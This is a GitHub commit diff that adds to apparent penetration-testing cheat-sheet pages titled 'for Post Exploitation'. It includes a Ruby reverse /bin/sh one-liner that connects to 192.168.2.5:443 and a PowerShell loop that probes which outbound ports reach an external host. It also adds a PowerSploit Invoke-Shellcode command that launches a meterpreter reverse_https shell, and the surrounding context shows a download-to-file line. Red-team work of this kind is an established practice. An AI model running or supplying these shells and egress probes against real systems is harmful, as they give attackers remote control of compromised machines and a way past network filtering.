Skip to content

Commit 1490f20

Browse files
committed
Merge pull request #43 from jakxx/master
Updating powershell page to fix port enumeration false positives and add powersploit
2 parents c99be20 + 3e4e481 commit 1490f20

File tree

2 files changed

+22
-5
lines changed

2 files changed

+22
-5
lines changed

scripting/ruby.md

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,12 @@
1-
# Place Holder
1+
# Ruby Command and Scripts for Post Exploitation
22

3-
Content coming. Feel free to submit ;-)
3+
One liners
4+
-----------
5+
6+
**Start a web server that serves the local files from current directory on port 8001**
7+
8+
```ruby -run -e httpd -- -p 8001 .```
9+
10+
**Reverse /bin/sh shell on port 443**
11+
12+
```ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'```

windows/powershell.md

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
1-
# Windows Powershell Commands
1+
# Windows Powershell Commands and Scripts for Post Exploitation
2+
3+
One liners
4+
-----------
25

36
**Download and Execute Remote Powershell Script**
47

@@ -8,6 +11,11 @@
811

912
```(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe')```
1013

11-
**Enumerate Allowed Outbound Ports**
14+
**Enumerate Allowed Outbound Ports 1-1024**
15+
16+
```$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream();
17+
$stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}}```
18+
19+
**Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)**
1220
13-
```1..1024 | % {$test= new-object system.Net.Sockets.TcpClient; $wait = $test.beginConnect("letmeoutofyour.net",$_,$null,$null); ($wait.asyncwaithandle.waitone(250,$false)); if($test.Connected){echo "$_ is allowed out"}} | select-string "allowed"```
21+
```Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force```

0 commit comments

Comments
 (0)